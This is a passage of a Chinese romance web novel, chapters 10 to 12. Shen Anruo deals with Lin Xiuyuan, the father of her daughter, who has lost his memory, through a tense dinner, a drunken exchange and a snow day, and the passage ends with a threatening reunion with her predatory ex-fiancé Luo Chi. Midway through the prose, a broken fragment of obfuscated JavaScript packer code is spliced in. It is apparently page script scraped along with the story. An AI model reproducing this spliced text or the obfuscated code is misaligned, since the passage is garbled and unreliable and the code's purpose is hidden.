真他爷爷的是出门没看黄历,出来吃个饭碰上这倒霉催的瘟神,这里明明是她的宝藏馆子,也不知道他是怎么发现这儿的,这心情简直就跟自己金屋藏娇的美人儿被登徒子给觊觎上一样,难受得要死。 李寒山对逗大小姐没多少兴趣,看到门口走进来的人,扬胳膊招手:“老三,这儿。” 贺怀章扯过沈安若旁边的椅子坐下,拿热水烫过的杯子倒好两杯水,先端一杯给沈安若,又端一杯给冯宝珠,话是对沈安若说的:“她怎么了?” 沈安若笑着道没事儿,话音未落,抬眼撞上迎面来人的目光,笑容止在唇角,她收回视线,面不改色地端起水杯喝一口水。 黑色的大衣擦过她搭在桌沿的胳膊,又离开,留下沁骨的凉。 陈瑾舟一路走一路看手机,发完信息,等他三哥先落座,他才一屁股坐到座椅上,大喇喇道:“我说李老大,你也太抠搜了,我说让你这个东道主请我们吃一顿大餐,你找的这地儿可真够费导航的,我差点儿就带着三哥直接往北城奔了。” 李寒山道:“你懂什么,这是我新寻到的一宝地儿,比你们那些什么私家菜馆御厨传人做出来的味道不知道好多少,保准让你吃过一次还想再吃,念念不忘,梦里都得想。” 陈瑾舟“嘿”一声,“我怎么听着你这话说得这么下流。” 李寒山拿起手边的纸巾砸上他:“滚蛋!你那脑子都快长到下半身去了,想什么不下流。” 陈瑾舟偏头躲过纸巾,纸巾掉落到地上,他弯腰去捡,看到过道那边的那桌,眼睛冒出精亮的光,拿胳膊肘一个劲儿地碰身边的人。 林修远神色不耐:“身上长蛆了?” 陈瑾舟让他快看后面:“小嫂子和她的男人!” 林修远懒得搭理他,也压根儿不关心她跟哪个野男人在一起,只慢慢喝着李寒山递来的茶。 陈瑾舟见他没反应,扭回头凑过来:“真的是小嫂子,我没看错。” 林修远眉皱起:“你在国外待久了,中国话没学利索,懂不懂小是什么意思?” 嫂子就嫂子,还小嫂子。 说得他家里好像还摆着一位正牌夫人一样。 10.第 10 章 陈瑾舟一时有些风中凌乱,小嫂子一看年纪就比他小,他叫一声“小嫂子”也没错啊。 再说现在的关注点是“小不小”的问题吗?现在的关注点不应该是在“她的男人”这四个字上?! 那男人又是给小嫂子倒水,又是给小嫂子拿筷子,眼睛围在小嫂子身上就没离开过,小嫂子想要做什么,那男人必定会先一步把东西递到小嫂子手边。 长得帅,又细心体贴,他要是个女人,也会喜欢这种温柔小意的男人。 陈瑾舟再看回他三哥这张冷冰冰的脸,只觉得三哥是真的要完蛋,头顶的绿光马上就要冲出地球,冲向宇宙,照亮银河系了,这下连外星人没准儿都要知道三哥留不住自己女人了。 这可要咋办。 李寒山点完菜,合上菜单递给服务员,看一眼陈瑾舟那鬼鬼祟祟的样子,直皱眉:“你老瞅那桌看什么呢?” 陈瑾舟回:“那桌有美女。” 李寒山以为他说的是冯宝珠,再看过去,才注意到沈安若,确实是美女没错,要说冯宝珠是朵带刺的红玫瑰,这位就是朵摇曳的香雪兰,各有各的美。 他刚要收回目光,又定在沈安若那双眼上,若有所思:“我怎么看那位穿白绸衫的女生有些眼熟。” 陈瑾舟嘁他:“你丫是瞅见好看的都觉得眼熟吧。” 李寒山很想拿脚踹他:“滚,你以为我是你,我肯定见过她。” 陈瑾舟解他的疑惑:“她参加过你弟的婚礼,我也见过她,这有什么稀奇。” 李寒山敲着脑壳笃定道:“不是,应该是很久之前的记忆,我一时想不起来在哪儿见过,她那双眼睛尤其漂亮,我有印象,不会认错。” 林修远眉心微微蹙了下,放下茶杯。 陈瑾舟想说你和人姑娘不会有什么前缘吧,又敏锐地感知到他三哥的不悦。 他忙咽下到嘴边的话,给三哥的茶杯里添满茶,自己也端起茶杯喝一口,生硬地转开话题:“你还别说,这小店儿看着虽然不起眼,这茶喝起来倒还有几分味道。” 李寒山从沈安若身上收回注意力,打趣陈瑾舟:“呦呵,你个假洋鬼子倒没彻底忘宗弃祖,还懂些门道,知道老三嘴挑,这茶叶可是我从我们家老太爷那儿顺来的,要是让他知道我偷拿了他的好东西,他非打断我的腿不可。” 陈瑾舟正经些神色:“你们家老太爷的腰咋样了?这一入冬又得难受上。” 李寒山也不再玩笑:“比往年好多了,多亏了老三给介绍的那苏老师傅,老爷子很服气他,苏老师傅说一句顶我们围在老爷子耳边叨叨一百句,现在是酒也不喝烟也不抽,俩人没事儿就约着一块儿去钓钓鱼,打打太极。” 陈瑾舟一听这话,看向旁侧的人:“三哥,不行你也让老苏头儿给瞧瞧,给脑袋扎扎针灸放放血什么的,他那祖传的手艺还真有些神神叨叨的,没准儿能有点出其不意的效果。” 林修远靠向椅子,有些意懒心慵:“现在这样也没什么不方便,什么都记得不见得是件好事儿,你这些年乌七八糟的事肯定干过不少,回头我要真全都想起来了,你屁股上少不得又要挨上几脚。” 陈瑾舟想起自己干过的那些勾当,尤其是三哥出车祸前一晚还给他打电话,要他等着他回来跟他算账,他心虚地摸摸自己的屁股蛋子,算了,三哥还是接着失忆吧。 李寒山笑:“老三这话说得在理,要我看这失忆就像是重活了一遍,老天爷给我们机会去重新认识一些人一些事儿,别人想求还求不来。” 林修远晃了晃手里的茶杯,扯唇笑了下,没说话,灯光覆在他的侧脸,神色难明,看不出在想什么。 这桌还在喝茶聊天,隔着过道的那几桌场子已经热了起来,菜还没上齐,酒都喝过了两轮。 这段时间大家压力都大,现在好不容易有了个放松的机会,明天又是周末,不用上班,都捋起袖子敞开肚子喝了起来。 有人过来敬沈安若酒,沈安若也不推脱,公司里的人都知道他们安若姐看着不显山不露水,但酒量深不见底,连贺总都喝不过她,每次聚餐她都是保持清醒的那一个,至今他们还没见她喝醉过。 陈瑾舟时不时地瞅这边的热闹两眼,转头给他三哥做实时汇报,长了刚才被骂的教训,很有眼色地改了称呼:“我三嫂行啊,酒量这么好,几杯下去脸色都不带变一点儿的。” 林修远脸上漠然不理,心里在冷哼。 她可真够能耐的,连喝酒的事情都是在骗他,她当初在他这儿,永远都是一杯都喝不完就能醉得晕晕乎乎地往他怀里栽,上他的车,上他的床,都是借着醉酒,孙猴子七十二变都没她能变,奥斯卡都缺搬一个影后给她。 新晋奥斯卡影后沈安若刚坐下,包里的手机响起,是桂姨打来的,她放下酒杯,接通电话起身往饭馆外走。 诺诺在那头道:“妈妈,天气预报说马上要下大雪啦,你回来的路上要注意安全,让司机叔叔不要着急,慢慢开车。” 沈安若唇角噙笑,柔声回:“妈妈知道了,妈妈今天要很晚才回,诺诺先睡,宝珠姨姨给你带了礼物,你明天早晨睡醒就能看到。” 诺诺高兴:“妈妈要替我跟宝珠姨姨说谢谢。” “妈妈已经说过了。” 诺诺又问:“妈妈你明天还要上班吗,要是今晚下好大的雪,我明天想和妈妈一起堆雪人。” 沈安若回:“这周妈妈能休息两天,明天和诺诺一起做雪人,后天我们和姨婆还有宝珠姨姨一起出去逛街好不好?” 诺诺立刻欢呼起来。 沈安若也笑。 她今天早晨已经从桂姨那儿搞明白了渣渣男的出处,小姑娘不待见他,或许只是单纯觉得他是个渣渣男。 桂姨道,以后她可不能再当着诺诺的面儿说这些有的没的,小姑娘嘴上不说,全都记在了心里。 沈安若也在反省,小姑娘一天比一天大,已经学会了自己思考,对事情也有了自己的想法,她不能再用以前哄小宝宝的方法去哄她,小姑娘或许已经知道了爸爸在南极保护企鹅的事情不是真的,只是憋在心里不跟她说。 她想事情想得认真,没有注意到身后有人在走近,肩膀上压下一点重量,背被温热包裹住,她回头望去。 贺怀章又把大衣往她身上拢了拢:“你才好没几天,可别又冻到进了医院。” 沈安若自己攥紧领口,笑着道谢。 贺怀章道:“王总那边来消息了,问我们什么时候签合约,他说只要我们双方合约一签,转天就能把钱打过来。” 沈安若想了想:“我还是觉得签对赌协议风险有些大,虽然我们预期收益乐观,但万一中间出点什么差错,我们不仅要赔钱,连手里的技术都得被对方给拿了去。” 贺怀章自然也清楚,对方提出的条件越诱惑,这背后不可预知的风险就越大,他回:“实在我不行,我就把我那房子给抵押出去。” 沈安若不同意:“那可是伯母买给你的婚房,我们账上还有些资金能维持几个月,再加上年底了,也有一些款项在陆续回账,现在还没到山穷水尽没路走的地步。” 贺怀章笑笑:“有婚房也是闲置,我现在连个女朋友都没有,结婚不定都到哪个猴年马月去了,还不如把刀用在刀刃上。” 沈安若余光看到门口走出来的人,晃了下神,心不在焉地回贺怀章:“这种事也说不准,也可能明天你就会遇到位合适的姑娘。” 贺怀章垂眼看她,其实都不用等到明天,他面前就有一位。 可是这些话他一句都不能说,她只当他是同学合伙人,有些事情一旦点破,反而会将她推得更远。 饭馆里不知道又起了什么热闹,又是吹口哨又是掌声。 沈安若道:“我们进去吧,外面太冷了。” 贺怀章点头,一转头看到垃圾桶旁站着的男人,神色一定,他那天在病房里看到的男人就是这位,他当时及时退了出去,对方并未看到他。 他与安若的关系不难猜,只是他不想往深处想。 沈安若视线划过垂落在空中的那一点猩红,又收回眼,他现在能不能抽烟都不关她的事情。 两人错身而过,如同陌路人一般。 夜色下的三人,心思各异。 门帘掀起又落下,隔开温暖和寒冷。 林修远看着马路对面的霓虹灯闪,将指间燃尽的烟一点点碾灭在垃圾桶上。 饭吃尽了兴,冯宝珠还要续二摊,就去隔壁的轰趴馆,沈安若想提前走,冯宝珠不许,左手搂着她,右手搭在贺怀章的肩上,晃晃悠悠出了饭馆,今晚一个都别想逃,都得给她不醉不归。 李寒山看着左拥右抱的冯宝珠,眉间不禁扬出些笑,这冯大小姐从小到大都一个样儿,日子过得那叫一个热闹。 陈瑾舟还以为这李老大是在看三嫂,在桌子底下使劲踢他一脚,让他快收敛些,就算是你和三嫂有什么前缘,三嫂现在可是三哥宝贝女儿的妈。 虽然他很想看兄弟俩为女人大打出手的戏码,但三哥一向都是懒得跟谁动手,他光算计就能把你算计死。 他现在救李老大一次,等回头他被三哥算账的时候,也希望李老大能救他一次。 李寒山不明就里地看陈瑾舟:“你踢我干嘛?” 陈瑾舟顿时一脸无语,我踢你,你再踢回来不就行了,桌子底下的事儿在桌子底下解决,你拿到台面上来说干嘛。 林修远没心情断两人的官司,抄起桌子上的打火机起身:“走了。” 陈瑾舟也赶紧跟着起来,又给李寒山使眼色,没看出来三哥今儿一晚上兴致都不高。 李寒山哼哼一声,他又不是眼瞎,怎么会看不出来,男人一个月总有那么个一二三四五六天七八天不得劲儿的时候。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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沈安若回过神,对问问题的小姑娘眨眨眼:“这就是第二个问题了。” 众人哀嚎一声,倒也没有多可惜,想八卦领导的心虽然没有完全被满足,但苍蝇腿也是肉,能吃上一点,也挺香的。 冯宝珠看出沈安若不想再多说,拍拍手把大家的注意力散开:“好了,快进行下一轮了,看你们安若姐够意思吧,有问必答,领导可做出表率了哈,待会儿你们谁要是敢给我动小心思耍诈,我发现不了还行,要是被我给发现了,小心我大刑伺候。” 大家哄笑,气氛又进到另一个高潮。 再散场已过午夜,贺怀章和沈安若住在同一个方向,车里最后只剩他俩,沈安若比贺怀章要再远一些,不过贺怀章让司机先送她。 车直接进小区,停在楼栋口,沈安若开门下车,贺怀章也跟着下来,提起周日沈安若要去店里试车的事情,他道他那天反正也没什么事儿,可以跟着一块儿去看看。 沈安若今天晚上喝得有些多,脸上看不出什么,实际上已经醉了,一路上都在强撑着精神。 她回贺怀章:“不用,你们部门这段时间没白天没黑夜的忙,好不容易能休两天,不能扰了你的周末,宝珠跟我一块儿,她还找了她一个朋友,不会出什么问题。” 贺怀章默了默,只能道好。 沈安若跟他挥手,让他快上车。 贺怀章一直目送她进了楼栋里,还站在车前没动。 楼道里暖气也很足,防盗门一关上,里面更暖和,空气里的热将沈安若刚被冷风吹出的那几分清明又给蒸跑了。 她站在门口,俯身看密码锁上的数字,都有些重影,她又直起身,想定定神,这个时间桂姨肯定已经睡了,不能把她吵醒。 但是站得越久意识越迷糊,声控灯灭一会儿亮一会儿,晃得她头更晕。 对门传来些响动,沈安若下意识地回头望。 门打开,里面的人走出来,黑裤白T,头发比之前的寸头长了些,应该是刚洗过澡,都没有吹干,只凌乱地搭在额前,少了些冷漠的疏离,多了些随性洒落的少年气。 一如多年前初见的那一眼。 沈安若看着他一步一步走近她,有些愣神。 林修远停在她面前,闻到她身上浓重的酒味儿,眉头一皱。 他开门见山,很是心平气和的语气:“沈小姐,你和谁在交往我不想管,但有些话要先说清楚,我不会同意贺怀章当我女儿的后爹,他家里情况太复杂。” 他的唇一张一阖地动着,沈安若怔了怔,反应了好一会儿才把他出口的每个字全串到脑子里,想明白他话里的意思。 她一只手握着门把稳住身体,另一只手抬起,先伸出拇指,又伸出食指,再伸出中指,又伸出无名指,最后伸出小指,然后在他眼前晃了晃手,身体也跟着有些晃。 林修远扶住她的肩,看她:“什么意思?” 沈安若稳住脚,回道:“想让你自己看看呀。” 她青葱一样的手指在他眼前乱动着,林修远眉皱得更深:“看什么?” 沈安若仰头望他,醉眼迷离,呵气如兰,一个字一个字地从红唇里吐出:“你算老几。” 11.第 11 章 雪是在后半夜下起来的,洋洋洒洒的雪花一直下到天明都没有停下来,今年的雪好像尤其多,才入冬不久,这已经是第二场。 沈安若在被窝里翻一个身,在迷迷糊糊中醒来,头有些针扎似的疼。 她已经有好久都没有醉过了,她的酒量好是天生的,可能是遗传了她爸,在她不算多的记忆里有些印象,他是很能喝的一个人。 而且不管喝得多醉,她也不会断片儿,发生过什么自己做过什么,她都会记得一清二楚。 沈安若揉揉发胀的脑袋,拥着被子靠到床头发了会儿呆。 她不过是问了句“你算老几”,他的脸就黑成了锅底,她要是真的说出“你算哪坨狗屎粑粑,还能管到我和谁交往结婚”这种心里话,他估计得直接把她从楼道里给扔出去。 幸亏她当时还勉强撑出了最后一点理智,真要把他惹怒了对她也没什么好处。 沈安若起身下床,顺手拿起床头柜上的鲨鱼夹将散乱的头发简单挽起。 客厅里很安静,厨房的灶台上,砂锅里的粥在咕嘟咕嘟地熬着,香味和热气同时在房间里弥漫开,外面的雪还在下,落地窗开着一点缝隙,院子里有压低的欢声和笑语。 沈安若套上件羽绒外套,拉开落地窗。 诺诺听到声音,从雪地里直起身,帽子下裹着的小脸红扑扑的,睫毛鼻尖上还沾着晶莹的雪花:“妈妈!你醒啦,快看我堆的雪人!” 她奶声奶气地给妈妈依次介绍自己的作品:“这个是诺诺,这个是妈妈,这个是姨婆。” 沈安若走到她身边,蹲下身,给她抹去鼻尖上化了的雪,又摸摸她的小脸儿,认真看完地上排排坐的三个小雪人,又看回她,由衷夸赞:“我们诺诺真棒。” 诺诺歪头笑得甜津津,抵到妈妈怀里要亲妈妈。 沈安若人刚醒,身上还有些软绵乏力,诺诺一靠过来,她脚下没站稳,人直接向后倒在了雪地里。 诺诺急着要拉妈妈,沈安若抓起旁边的雪,攒了个松散的雪球,轻轻朝她扔过去,诺诺反应过来,咯咯地笑开,弯腰抓起地上的雪,先砸一个雪球到妈妈身上,又抓一个雪团砸上姨婆。 但她一个对阵两个,很快露出败势,又赶紧找同盟拉帮手,喊黄桂琴:“姨婆!你要帮我,我打不过妈妈!” 黄桂琴立马倒戈,站到了诺诺这一头,她主管大后方,除了负责捏雪球,还要时刻提醒冲锋队队长,敌人雪球降落的方位。 冲锋队队长诺诺,一门心思放在进攻上,雪球一个接一个地砸过去,奈何准头不太好,得需要敌人自己上前找雪球接到身上。 沈安若“又躲又避”,主动被飞过来的雪球砸到满身都是雪,认输投降:“好了好了,妈妈认输,诺诺和姨婆太厉害了,妈妈一个雪球都躲不过。” 诺诺手里还举着雪球,眼睛亮闪闪的像是沾上了雪花的晶莹,听到妈妈的话,兴奋地看黄桂琴:“姨婆好厉害,我们赢啦!” 黄桂琴笑得合不拢嘴,俯身将她抱起来,给她拍拍衣服上的雪,又亲亲她红红的小鼻子:“还是我们诺诺厉害。” 已经停战的沈安若看准时机,悄悄扔过去一个雪球。 诺诺被砸到背,又咯咯笑:“妈妈偷袭我们!” 她不甘示弱,靠在姨婆怀里,借着姨婆身高的高度,将手里的最后一个雪球直接扔出去,结果用力过猛,雪球没砸到妈妈,而是飞过了铁栅栏,落进了隔壁院子里。 诺诺睁大眼睛,小小地“啊”了声,又捂住嘴,看妈妈。 “没事儿,那边院里没人,砸不到谁。” 沈安若安小姑娘的心,他不喜欢雪天,就算他现在在家,这个天儿肯定也不会出来院里。 诺诺点了点头,又眨了眨眼。 黄桂琴抱着她往屋里跑:“回屋喽,南瓜粥要好喽。” 诺诺听到好吃的,收回注意力,搂上姨婆的脖子:“我要吃南瓜粥!”又贴到姨婆耳边,“不给妈妈吃,妈妈不乖,偷袭我们。” 沈安若假装在后面追:“说我什么坏话呢,我可全都听到了。” 诺诺笑得更欢实。 三人进了屋,落地窗关上,银铃般的笑声被隔在屋子里,小院中又恢复到安静,只有雪花簌簌落下的声响。 隔壁的院子也是安静的。 林修远面无表情地将砸到头上脸上的雪随意拂了几下,在冰天雪地里站了好一会儿,才回身进了屋。 方大川接到老板电话的时候,正在李寒山的办公室里喝茶,他一看到老板来电,总是会下意识地站起身,双手捧手机到耳边,听从老板的吩咐。 老板先问文件给李总送到了吗,方大川回李总已经签完字,然后电话那头便沉默下来,方大川在这一头耐心等着,老板不可能专门打个电话过来就只是问问文件送到了没有,明显还有其他事情要说。 不出他所料,沉默持续少顷,老板又问:“刘律师跟沈安若谈过了?” 不知道从什么时候开始,老板不再叫沈小姐“沈小姐”,而是直呼其名。 事关沈小姐的事情,在方大川这里就是机密中的最高机密,不能在别人面前谈起,方大川抬眼看向办公桌那头的李总,指指外边,示意自己要出去接个电话。 李寒山见他有要事谈,让他不用动,他起身出了办公室,又关上门,把地方让出来。 方大川斟酌着老板刚才话里的语气,回道:“我早晨联系过刘律,他手机关机中,他办公室那边说他今天去香港出差,落地得中午之后了,我已经给刘律留过言,让他下飞机后第一时间回我电话。” 那头又沉默片刻,开口道:“先不用跟刘律师提了。” 方大川握紧手机,小心和老板确认清楚:“是不用让刘律跟沈小姐谈抚养权的事情了?” 老板淡淡地“嗯”一声,就挂断了电话。 方大川看着暗掉的手机屏幕,拍了拍自己胸口,长舒一口气。 其实他根本就还没和刘律师联系过,更别说给刘律师留什么言,他不过是看到刘律师助理的朋友圈,知道刘律师今天去香港出差。 他今早醒来一翻手机,就看到老板昨晚大半夜给他的信息,让刘律师那边尽快和沈小姐谈小公主抚养权的问题。 他当时看完这条信息就觉得有些奇怪,老板要是真想从沈小姐那里夺小公主的抚养权,不会等到现在。 虽然他不知道老板和沈小姐之间昨天大半夜发生了什么,但他总觉得老板还会收回这个昏了头的决定,所以就没有第一时间和刘律师联系。 没想到竟然让他给赌对了,中午都还没到,老板就又改了主意,看来他在成为老板得力心腹这条路上又进了一步。 方大川勉强压下心里的激动,坐回椅子上,又喝一口茶,也不知道李总去了哪儿,目光突然被办公桌上摆着的照片吸引住。 照片里,李总一身军装,气宇轩昂,英姿飒爽。 站在他身旁的少年的是……方大川直起些身,凑近相框看,眼睛噌地亮起来。 是老板!! 老板在这张照片里看起来顶多也就十七八岁的样子,正介于男生和男人之间的转变。 干净青涩的眉眼间不经意地流露一种清贵的疏离,那是生在几辈堆砌起来的富贵门里被融到骨血里的东西,从娘胎里就带来的,别人纵使学一辈子也难得这种对万事万物都游刃有余的从容。 老板就那样懒懒散散地站在玉兰树下,方大川脑子里只能想到一句诗,陌生谁家少年,足风流。 老板在上学的时候就绝对属于学校风云人物的顶端,不定让多少花季少女心驰神往过。 旁边还有正被狗追到树上的陈总,好吧,看来陈总不靠谱的属性是打小就有的,并不是国外的水给他喝到基因突变的。 方大川忍不住拿起手机,想拍下这张照片,回头可以给办公室里的人看,手还没按到屏幕,视线定在照片背景里那条人来人往的长街。 在一个不起眼的角落,有一个瘦瘦小小的身影,狗啃一样的短发,乍一眼都看不出是男生还是女生,戴着副厚厚的黑框眼镜,脸上的神情怯怯的,正在望着老板的方向。 他怎么觉得这个半大的孩子有点像……沈小姐。 不过方大川马上就否认了自己的想法,不可能会是沈小姐。 他看过沈小姐的一些资料,沈小姐虽说打小是跟着姑姑姑父长大的,在沈小姐的姑姑家出事前,家里的条件还是可以的,在镇上都有自己的工厂,日子应该过得富足,而这个孩子更像是个沿街乞讨的小乞丐。 办公室的门口传来响动,方大川回过神,从照片上收起手机,又坐回到椅子上。 李寒山走进来,见他在看照片,笑道:“你老板一向不喜欢拍照片,这还是我当兵的时候,他和陈瑾舟去看我,拍下的这么一张,这都过去多少年了,你老板那个时候才十八。” 他拿起照片看了眼:“这照片可值钱,陈瑾舟那天从树上掉下来被狗给咬了屁股,他想抹杀掉这段黑历史,几次开价要把这照片给赎回去,我都没给,就想着等我哪天缺钱了,讹他一笔大的。” 方大川知道李总是在玩笑,也跟着打哈哈,又攥紧手机,原来还有这么一出渊源,那他待会儿得赶紧把这张照片给删了,要是让陈总知道他手里有他的黑历史,那他指定要没安生日子过了。 陈瑾舟还不知道自己底裤已经被人扒了个精光,他抱儿子下车,直接让他坐到他肩上:“儿子,给爸爸找找,二十七门儿在哪儿?” 陈知聿眼睛寻着门牌号,又问爸爸:“Oswald怎么会搬到这里来?” 陈瑾舟道:“你干爸想捞月亮。” 陈知聿不解:“月亮在天上,要怎么捞呀?” 陈瑾舟回:“月亮可以远在天上,也可以近在眼前,能不能捞到单看你干爸的本事,这些事等你再长大些就能懂了。” 他没听见回音儿,抬眼看肩上安静下来的小家伙,又跟着他眼睛的落点看过去,心里不由嘿了声,他就说这臭小子看什么呢看得这么出神。 从雪地里走过来一顶漂亮的小姑娘,小红帽,雪白的羽绒服,水灵灵的大眼睛,红红的小脸蛋儿,边走嘴里还边“嘿咻嘿咻”地给自己打着劲儿。 也不知道三哥上辈子积了什么福修了什么德,一觉醒来就得了这么个宝贝女儿。 陈瑾舟停下脚,看黄桂琴,摆出最真挚无害的笑容,客气问道:“这位阿姐,麻烦问一下,咱这儿二十七门儿在哪边,我们找了半天也没找到。” 黄桂琴瞅他,心道这是哪家的亲戚来串门了,长得倒是周正,就是说话油嘴滑舌的,一看就是女人堆里混出来的,她这年纪都能当他妈了,叫哪门子的阿姐,不过他肩上坐着的这小男孩儿倒是虎头虎脑的可爱。 她心里想得多,不上脸,热情地给他指路:“就在前面,你看见那棵树了吧,拐进去就是二十七门。” 陈瑾舟笑着跟她道谢,又拍拍陈知聿的小屁股:“跟妹妹说再见。” 陈知聿的脸不知道是冻的还是被风吹的,有些红,嘴动了动,没能说出来,又看陈瑾舟:“Daddy,我要下来自己走。” 陈瑾舟乐了:“呦,现在不怕雪把你的鞋给弄脏了。” 陈知聿脸更红。 诺诺对他有些好奇,但又急着去买刚出炉的蜂蜜小面包,她主动跟他挥挥手说再见,拉着黄桂琴往前走,小声说:“姨婆,我们也住在二十七门。” 黄桂琴点头:“对的,那姨婆再问诺诺,我们住的这个小区叫什么?” “翠微园,南丰路上的翠微园。”诺诺乖乖回。 她又道:“妈妈教过我的,我要是不小心和妈妈姨婆走散了,就跟警察叔叔说我们家的地址,我还能背出妈妈的电话号码,姨婆的电话号码,怀章叔叔也让我记住他的电话号码,我背了两遍就记住啦。” 黄桂琴笑,给她往下拉了拉帽子:“累不累?走累了姨婆抱你。” 诺诺摇头:“不累的,我喝了两碗南瓜粥,有的是力气。” 说着话,还伸胳膊学公园里练拳的老大爷比划了两下。 黄桂琴笑出声。 陈瑾舟低头看地上站着不动的小人儿:“小月亮可爱吧?” 陈知聿仰头问:“她的名字是小月亮吗?” 陈瑾舟被问住,屈指挠挠太阳穴:“她叫什么你爹我还真不知道。” 陈知聿看他:“那Daddy为什么叫她小月亮?” 陈瑾舟笑,自然是因为,对有人来说,她妈妈就是那弯看得到又得不到的天上月。 沈安若听到外面楼道里一重一轻的脚步声,还以为是桂姨忘了什么东西,又带着诺诺回来了,她走到玄关口,又停住,门敲响的是对面。 看来他还真有在这边住下来的打算,沈安若握紧门把,电话那头冯宝珠的话又将她拉回神。 “王国富背后的那个人我查到了些信息,说是华裔,其实几年前才出的国,靠富婆拿到的绿卡,又靠富婆积累资本起的家。” “这可不是个一般人,四年内和四个富婆结了婚又离婚,其中有一个被他骗的倾家荡产直接跳了楼,关键是他还能全身而退。” “我们是他在国内接触的第一个公司,看他之前做事的风格就知道了,这个人应该极其聪明,做事有规划,为达目的不择手段,按说我们公司应该还没有显眼到让他一眼就相中的地步,你说这背后是不是有什么事情?” 冯宝珠开始还有些八卦的意思,说到后面又严肃起来。 沈安若明白她的意思,王国富的团队上个月来他们公司考察后,立马就想敲定投资的事项,金额还相当客观,完全足够支持他们接下来几年的运营研发。 但有的时候事情太顺了反而会让人生疑 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冯宝珠道:“你别光笑,你今天晚上也好好看看,争取拿下一个,”她伸懒腰叹一声,“天冷了,最适合谈场恋爱,不想谈恋爱有个人暖暖被窝也是好的。” 沈安若轻声回:“我用不到别人,诺诺可以给我暖被窝,她就是个小火炉。” 冯宝珠哼哼,吃不到甜葡萄的酸:“你等着吧,总有一天我得把小诺诺抢过来给我当两天闺女。” 沈安若想到什么,眼里的笑慢慢散了些,他说的另有安排也不知道是在琢磨什么盘算,他算计一向多。 她虽然不怕和他争抚养权,上法院也不怕,但也不想面对最差的那一种局面,她不能让诺诺受到任何伤害。 要是如诺诺所说,他有在交往的女朋友,对她来说是一件再好不过的事情,至少他的注意力能从她们这边分开些,要是再能快些结婚,就更好了,他结了婚,总不能再住在这里,肯定会回北城去。 沈安若已经发现了,她现在对他有一种很矛盾的心理,心里想着要和他和平共处,但每次一见到他,总会惹出些事端,她还是和他越少碰面越好。 酒会在城东,冯宝珠开车来接的她,她到了才发现这酒会的地点离他在城东的那套宅子很近,就是前后街的距离。 她站在露台上,都能看到他院子里的湖,她之前跟着他来过这边一次。 有一回她在车上和钟叔闲聊起她小时候的事情,她生日是在深冬,每年一到那天,爸爸总会带着她去湖上滑冰。 那年的生日,他便带着她来了这边,那时湖上的冰已经冻得结结实实,湖边放着新做好的雪橇,他让她坐上去,他在后面推着她,一直玩到深夜。 那是她那些年里仅有的那么一两段零星半点的快乐时光。 他对她大多的时候都是冷言冷语,可真要说好,也不是没有过,只是很少,更像是一种高高在上的施舍。 沈安若从远处收回目光,倚着栏杆,轻轻叹一口气,白色的雾气融进寒冷的夜色里,模糊了眼前的视线,她裹紧身上的披肩,又回到宴会厅。 王国富到现在一直没有出现,应该是不会再来了,冯宝珠和一新认识的男人在角落里正聊得火热。 沈安若不打扰她,给她微信上留了话,打好车,接过服务员递来的外套,穿好衣服,下楼,到街边等车。 诺诺发来语音问她什么时候回家,沈安若回着她的信息,一行人从她身边走过,沈安若侧身走向一旁,让出些路。 走在最前面的人蓦地停住脚,回身打量她,阴鸷的眼神里慢慢亮出一抹玩味的笑,像是看到了感兴趣的猎物。 他开口叫:“小安若。” 沈安若瞬间全身都僵住,这个声音就如同阴沟里的毒蛇,她每次听到胃里都会涌上一种生理性的恶心。 她好像知道了王国富背后的那个人是谁。 骆驰走回到她身边,对她这个反应很满意,不枉这么大冷天的,他还特意跑过来一趟。 他慢悠悠道:“是不是没想到这辈子还能再见到我?” 沈安若看着他那双深褐色的眼睛,像是被谁扼住了喉咙,一个字都说不住来。 骆驰笑:“我早就说过我的命有九条,没那么轻易被你给弄死,你看我这不是又回来了,我们真的是好久都没见了。” 他抬起手,冰冷皮质的手套落到她的脸上,慢慢划下来。 她现在活得比他想得还要好,这让他更兴奋,他最喜欢把她从高处拽落到烂泥潭里,再看她一点点地挣扎。 当初他对她太掉以轻心了,也小看了她,才让她有了机会给了他致命一击,这次不会了,他喜欢旗鼓相当的对手,相比她一直藏愚守拙地装弱,他更喜欢她强一点。 钟瑞峰看着空旷的街边停着的一行人,缓下些车速,在后视镜里看后座的人:“安若怎么来了这边?” 后座暗影下阖目养神的人没有反应,像是睡了过去。 钟瑞峰又道:“那位是不是她那个未婚夫?” 林修远睁开些眼,偏头看向车窗外路灯下的两人,面色有些沉,没说话,又闭上了眼。 好一会儿,没什么情绪的声音从后座传来:“前未婚夫。” 钟瑞峰听出语气里的别扭,不明显地笑了下,他又看沈安若,觉出些不对劲儿:“要不要停车?安若看着脸色不太对。” 林修远看也不看,直接回:“不用。” 围着她的男人一个巴掌五根手指都不够她数,他算老几,管不到她和谁交往结婚,也管不到她和旧情人叙旧。 骆驰低下些身,仔细端详沈安若没有血色的脸,笑得十分开心。 他还以为她长进了不少,看来还是跟以前一样,一见到他,四肢就紧绷僵硬,严重的时候甚至连动都动不了。 以前他对她有那么一点不多的愧疚,又被她哄得团团转转,一直都没舍得动她,结果她转头就爬上了野男人的床。 他骆驰这辈子想得到的东西还没从嘴边溜走过,这几年里,他生怕她这个毛病好了,他以前没想明白,被她捅了一刀后才想通,她越是怕他,在床上摆弄起来岂不是会越有意思。 他们订过娃娃亲,还在城隍庙里拜过堂,他不管她和谁睡过,有过谁的孩子,这辈子只能当他的媳妇儿。 沈安若拼着力气拂开他毒蛇信子一样的手,僵住的腿却动不了,她从牙缝里挤出一个字:“滚!” 骆驰哈哈大笑起来。 从两人身边疾驰开过去的车,在前面路口急刹住,停了一会儿,又原路倒回来,停在沈安若旁侧。 漆黑的车窗降下,露出森冷的一张脸。 骆驰直起身,看过去,眉微微挑起,笑里带着股子说不上来的邪气。 林修远。 他们四年前就该见上一面。 两个男人隔空对上视线,凛冽的寒风化成无声的刀锋。 12.第 12 章 骆驰唇慢慢勾起,笑得更加肆意,这可真是意外之喜,他还以为林修远还躺在病床上呢,现在该到齐的人都到齐了,今年年底的江城,想必会热闹至极。 林修远目光漠然地掠过他,看向沈安若,盯着她纸白的脸,眉心微蹙,冷冷道:“上车。” 他在她这儿是老几都不算,但她女儿的爸是他,不是她用手指头数出来的那一二三四五六个野男人,这点她否认不掉。 沈安若耳边响着嗡嗡的耳鸣,听不清他在说什么,只能看到他眼里的不耐烦,像极了从前。 